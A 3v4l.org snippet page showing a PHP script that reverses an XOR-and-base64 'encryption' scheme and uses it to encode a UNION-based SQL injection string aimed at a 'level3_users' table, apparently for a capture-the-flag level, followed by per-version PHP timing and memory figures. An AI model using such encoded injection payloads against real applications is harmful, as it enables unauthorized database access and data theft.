3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' union all select 1,user(),3,4,5,6,7 from level3_users--"); print "\n"; print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.00418.43
8.3.50.0090.00822.17
8.3.40.0100.00719.13
8.3.30.0110.00419.10
8.3.20.0040.00418.88
8.3.10.0080.00020.72
8.3.00.0040.00423.66
8.2.180.0120.00916.75
8.2.170.0170.00322.96
8.2.160.0070.00720.35
8.2.150.0050.00324.18
8.2.140.0040.00424.66
8.2.130.0080.00026.16
8.2.120.0050.00319.48
8.2.110.0000.00920.39
8.2.100.0030.00917.84
8.2.90.0060.00319.02
8.2.80.0030.00618.16
8.2.70.0000.00817.75
8.2.60.0000.00818.04
8.2.50.0000.00818.07
8.2.40.0040.00418.28
8.2.30.0040.00419.89
8.2.20.0050.00319.66
8.2.10.0000.00817.80
8.2.00.0070.00317.80
8.1.280.0110.00425.92
8.1.270.0040.00423.99
8.1.260.0040.00426.35
8.1.250.0070.00328.09
8.1.240.0040.00422.46
8.1.230.0080.00420.81
8.1.220.0000.00918.77
8.1.210.0000.00918.88
8.1.200.0030.00717.48
8.1.190.0040.00417.53
8.1.180.0080.00018.10
8.1.170.0050.00318.96
8.1.160.0070.00018.88
8.1.150.0040.00418.80
8.1.140.0080.00017.63
8.1.130.0040.00417.81
8.1.120.0000.00717.60
8.1.110.0070.00017.58
8.1.100.0000.00717.50
8.1.90.0020.00517.52
8.1.80.0000.00717.63
8.1.70.0000.00717.59
8.1.60.0040.00417.80
8.1.50.0000.00717.66
8.1.40.0040.00417.63
8.1.30.0040.00417.79
8.1.20.0000.00817.70
8.1.10.0060.00317.74
8.1.00.0000.00717.67
8.0.300.0000.00820.10
8.0.290.0040.00417.30
8.0.280.0040.00418.50
8.0.270.0070.00017.25
8.0.260.0070.00016.98
8.0.250.0000.00717.14
8.0.240.0030.00517.11
8.0.230.0040.00416.99
8.0.220.0040.00417.05
8.0.210.0070.00016.96
8.0.200.0080.00017.02
8.0.190.0000.00817.16
8.0.180.0080.00017.03
8.0.170.0000.00917.10
8.0.160.0040.00416.96
8.0.150.0000.00816.97
8.0.140.0050.00316.92
8.0.130.0050.00013.54
8.0.120.0000.00717.05
8.0.110.0040.00416.87
8.0.100.0070.00017.11
8.0.90.0000.00717.11
8.0.80.0120.00617.12
8.0.70.0040.00416.89
8.0.60.0000.00817.02
8.0.50.0000.00717.07
8.0.30.0080.01217.42
8.0.20.0110.00817.45
8.0.10.0000.00816.98
8.0.00.0110.00817.13
7.4.330.0000.00514.92
7.4.320.0030.00316.73
7.4.300.0000.00616.64
7.4.290.0000.00716.70
7.4.280.0040.00416.83
7.4.270.0000.00716.84
7.4.260.0030.00313.54
7.4.250.0030.00516.84
7.4.240.0000.00816.68
7.4.230.0000.00716.85
7.4.220.0160.01016.84
7.4.210.0100.00716.72
7.4.200.0070.00016.83
7.4.190.0030.00516.69
7.4.160.0060.00916.84
7.4.150.0100.01317.40
7.4.140.0060.01317.86
7.4.130.0100.00616.68
7.4.120.0100.00816.86
7.4.110.0150.00816.84
7.4.100.0120.00616.78
7.4.90.0090.00916.71
7.4.80.0000.01619.04
7.4.70.0150.00816.67
7.4.60.0090.01216.52
7.4.50.0040.00416.72
7.4.40.0070.00722.27
7.4.30.0090.01616.65
7.4.10.0070.01115.29
7.4.00.0090.00815.31
7.3.330.0030.00313.54
7.3.320.0030.00313.50
7.3.310.0000.00716.59
7.3.300.0000.00716.55
7.3.290.0080.00716.55
7.3.280.0090.00716.54
7.3.270.0100.00717.40
7.3.260.0130.00818.24
7.3.250.0110.00916.66
7.3.240.0030.01516.59
7.3.230.0030.01316.83
7.3.210.0140.00316.79
7.3.200.0120.00919.39
7.3.190.0080.00816.52
7.3.180.0070.01116.83
7.3.170.0030.01416.66
7.3.160.0130.00316.62
7.3.130.0070.01314.94
7.3.120.0060.00715.13
7.3.110.0060.01215.28
7.3.100.0070.01014.92
7.3.90.0130.00714.91
7.3.80.0030.01615.00
7.3.70.0000.00814.82
7.3.60.0060.01215.10
7.3.50.0040.01215.08
7.3.40.0030.00715.13
7.3.30.0030.01114.88
7.3.20.0070.00716.80
7.3.10.0000.01316.90
7.3.00.0090.00616.89
7.2.330.0170.00016.96
7.2.320.0110.00716.95
7.2.310.0140.01016.72
7.2.300.0080.00816.75
7.2.290.0100.00616.83
7.2.260.0040.01215.07
7.2.250.0120.00615.30
7.2.240.0090.00315.08
7.2.230.0130.00715.41
7.2.220.0180.00015.41
7.2.210.0090.00915.19
7.2.200.0060.00615.38
7.2.190.0100.00315.25
7.2.180.0100.01015.24
7.2.170.0030.00615.33
7.2.160.0030.00615.05
7.2.150.0070.01016.87
7.2.140.0100.00017.14
7.2.130.0070.00717.30
7.2.120.0000.01217.15
7.2.110.0060.00617.21
7.2.100.0000.01516.80
7.2.90.0030.01017.01
7.2.80.0090.00617.16
7.2.70.0040.01116.93
7.2.60.0050.00717.09
7.2.50.0050.00917.03
7.2.40.0030.00716.95
7.2.30.0080.00417.25
7.2.20.0030.01517.23
7.2.10.0180.00017.25
7.2.00.0020.01118.32
7.1.330.0040.01115.91
7.1.320.0070.00715.99
7.1.310.0030.01016.14
7.1.300.0110.00715.87
7.1.290.0040.01515.88
7.1.280.0080.00615.97
7.1.270.0060.00615.92
7.1.260.0060.00316.13
7.1.250.0060.00915.80
7.1.240.0040.00716.10
7.1.230.0000.01316.00
7.1.220.0060.00615.74
7.1.210.0030.00915.83
7.1.200.0070.00716.01
7.1.190.0070.00716.20
7.1.180.0060.00715.71
7.1.170.0110.00016.07
7.1.160.0040.00916.16
7.1.150.0030.01016.16
7.1.140.0080.00815.98
7.1.130.0070.01015.83
7.1.120.0090.00616.14
7.1.110.0090.00615.93
7.1.100.0040.01217.19
7.1.90.0080.00416.12
7.1.80.0060.01015.95
7.1.70.0100.00616.42
7.1.60.0050.01117.68
7.1.50.0090.00916.51
7.1.40.0000.01416.09
7.1.30.0090.00616.07
7.1.20.0000.01315.73
7.1.10.0040.00716.08
7.1.00.0080.01819.23
7.0.330.0000.01515.62
7.0.320.0080.00815.46
7.0.310.0000.00815.32
7.0.300.0060.00615.73
7.0.290.0000.01015.80
7.0.280.0140.00315.60
7.0.270.0000.01215.77
7.0.260.0030.01015.73
7.0.250.0030.01315.32
7.0.240.0060.01015.34
7.0.230.0060.00615.84
7.0.220.0060.00615.65
7.0.210.0030.00915.30
7.0.200.0070.00516.31
7.0.190.0070.00715.75
7.0.180.0030.01415.39
7.0.170.0070.01115.80
7.0.160.0100.00715.64
7.0.150.0070.00715.70
7.0.140.0130.03318.78
7.0.130.0100.00315.82
7.0.120.0000.00915.44
7.0.110.0040.00415.77
7.0.100.0040.01115.63
7.0.90.0100.00315.77
7.0.80.0100.00315.63
7.0.70.0070.00715.60
7.0.60.0050.04717.84
7.0.50.0070.02916.81
7.0.40.0080.02315.79
7.0.30.0070.02515.79
7.0.20.0080.04515.80
7.0.10.0070.03015.75
7.0.00.0030.02515.63
5.6.400.0000.00914.77
5.6.390.0090.00014.79
5.6.380.0000.01214.79
5.6.370.0070.00714.47
5.6.360.0090.00614.62
5.6.350.0030.00714.79
5.6.340.0030.01614.78
5.6.330.0060.00314.80
5.6.320.0030.01014.63
5.6.310.0090.00314.29
5.6.300.0030.01014.76
5.6.290.0060.00914.89
5.6.280.0050.03817.63
5.6.270.0040.00814.37
5.6.260.0040.01114.74
5.6.250.0080.00614.32
5.6.240.0100.00714.84
5.6.230.0110.00314.70
5.6.220.0060.00914.79
5.6.210.0070.04117.46
5.6.200.0030.04416.26
5.6.190.0000.03416.45
5.6.180.0020.04816.37
5.6.170.0060.02616.54
5.6.160.0020.02516.37
5.6.150.0070.04216.48
5.6.140.0100.03316.16
5.6.130.0030.03516.31
5.6.120.0100.02316.32
5.6.110.0080.04816.30
5.6.100.0040.04416.25
5.6.90.0070.02816.47
5.6.80.0020.02615.91
5.6.70.0080.03816.18
5.6.60.0050.04116.04
5.6.50.0070.04416.06
5.6.40.0080.04515.96
5.6.30.0080.04215.99
5.6.20.0080.02316.07
5.6.10.0030.03015.99
5.6.00.0050.02515.97
5.5.380.0030.01014.43
5.5.370.0040.00714.66
5.5.360.0070.00714.74
5.5.350.0080.04517.37
5.5.340.0020.03916.41
5.5.330.0070.02316.25
5.5.320.0090.02816.14
5.5.310.0120.04016.05
5.5.300.0050.04416.34
5.5.290.0040.02516.26
5.5.280.0090.03516.25
5.5.270.0050.03716.38
5.5.260.0050.03816.16
5.5.250.0020.02716.11
5.5.240.0000.04715.87
5.5.230.0070.03015.94
5.5.220.0050.02615.86
5.5.210.0050.04215.79
5.5.200.0090.03715.90
5.5.190.0030.03215.79
5.5.180.0050.04515.96
5.5.170.0000.01014.47
5.5.160.0030.02515.74
5.5.150.0070.02215.97
5.5.140.0080.03916.00
5.5.130.0070.02315.91
5.5.120.0080.02515.88
5.5.110.0070.04415.99
5.5.100.0080.02115.96
5.5.90.0110.03915.86
5.5.80.0050.03215.81
5.5.70.0050.04515.93
5.5.60.0060.02715.85
5.5.50.0050.04115.95
5.5.40.0050.02215.71
5.5.30.0070.03015.74
5.5.20.0070.03815.74
5.5.10.0030.04015.87
5.5.00.0090.02215.61
5.4.450.0050.04015.53
5.4.440.0050.04315.54
5.4.430.0030.03715.33
5.4.420.0040.04215.27
5.4.410.0030.03815.34
5.4.400.0060.03615.13
5.4.390.0070.03715.05
5.4.380.0050.02515.19
5.4.370.0080.03815.13
5.4.360.0040.03115.22
5.4.350.0080.04015.18
5.4.340.0070.02315.17
5.4.330.0030.00611.11
5.4.320.0040.02415.19
5.4.310.0100.03215.11
5.4.300.0100.01815.11
5.4.290.0020.03615.29
5.4.280.0060.02615.10
5.4.270.0040.02215.18
5.4.260.0070.02215.12
5.4.250.0070.02915.14
5.4.240.0020.04015.18
5.4.230.0050.03315.22
5.4.220.0070.04215.08
5.4.210.0030.03615.14
5.4.200.0000.02715.21
5.4.190.0060.04015.08
5.4.180.0050.04315.06
5.4.170.0060.04115.28
5.4.160.0030.02515.07
5.4.150.0100.03315.17
5.4.140.0020.02913.80
5.4.130.0050.03713.74
5.4.120.0050.03713.78
5.4.110.0050.02513.87
5.4.100.0030.03513.84
5.4.90.0020.04013.93
5.4.80.0080.03713.84
5.4.70.0050.03713.88
5.4.60.0050.04113.91
5.4.50.0100.03713.78
5.4.40.0100.03313.87
5.4.30.0050.03613.83
5.4.20.0050.02013.88
5.4.10.0050.02713.83
5.4.00.0050.02213.40
5.3.290.0020.02412.91
5.3.280.0080.03712.87
5.3.270.0000.04512.97
5.3.260.0050.03512.79
5.3.250.0050.03812.88
5.3.240.0070.03612.88
5.3.230.0020.04612.88
5.3.220.0070.03812.77
5.3.210.0050.03712.88
5.3.200.0090.03712.84
5.3.190.0060.03312.84
5.3.180.0060.03812.84
5.3.170.0030.04612.85
5.3.160.0050.03512.88
5.3.150.0020.02512.89
5.3.140.0050.03712.83
5.3.130.0070.03912.87
5.3.120.0050.02512.85
5.3.110.0030.03512.85
5.3.100.0060.04112.56
5.3.90.0060.04012.60
5.3.80.0080.03912.60
5.3.70.0060.03312.61
5.3.60.0080.03612.51
5.3.50.0090.03512.55
5.3.40.0090.03712.54
5.3.30.0100.03312.56
5.3.20.0030.03312.44
5.3.10.0030.02912.44
5.3.00.0110.03412.39
5.2.170.0030.06711.23
5.2.160.0070.05011.21
5.2.150.0070.05311.00
5.2.140.0100.06011.23
5.2.130.0000.06311.15
5.2.120.0100.05010.96
5.2.110.0070.06011.12
5.2.100.0070.04711.02
5.2.90.0000.07010.95
5.2.80.0100.05711.14
5.2.70.0130.03311.09
5.2.60.0070.05011.27
5.2.50.0070.06011.09
5.2.40.0070.05011.01
5.2.30.0000.05010.97
5.2.20.0070.03311.02
5.2.10.0100.05710.71
5.2.00.0100.05710.69
5.1.60.0100.04710.05
5.1.50.0030.0279.98
5.1.40.0030.0239.97
5.1.30.0000.03710.43
5.1.20.0070.05310.34
5.1.10.0030.04710.18
5.1.00.0000.04010.07
5.0.50.0100.0408.55
5.0.40.0000.0478.35
5.0.30.0070.0378.35
5.0.20.0000.0278.35
5.0.10.0030.0438.35
5.0.00.0030.0538.35
4.4.90.0000.0408.35
4.4.80.0030.0278.35
4.4.70.0070.0238.35
4.4.60.0000.0238.35
4.4.50.0030.0338.35
4.4.40.0000.0378.35
4.4.30.0070.0308.35
4.4.20.0000.0338.35
4.4.10.0030.0338.35
4.4.00.0000.0408.35
4.3.110.0070.0238.35
4.3.100.0030.0378.35
4.3.90.0030.0378.35
4.3.80.0030.0538.35
4.3.70.0030.0208.35
4.3.60.0030.0378.35
4.3.50.0000.0378.35
4.3.40.0030.0338.35
4.3.30.0030.0178.35
4.3.20.0000.0178.35
4.3.10.0000.0408.35
4.3.00.0030.0178.35

preferences:
51.1 ms | 401 KiB | 5 Q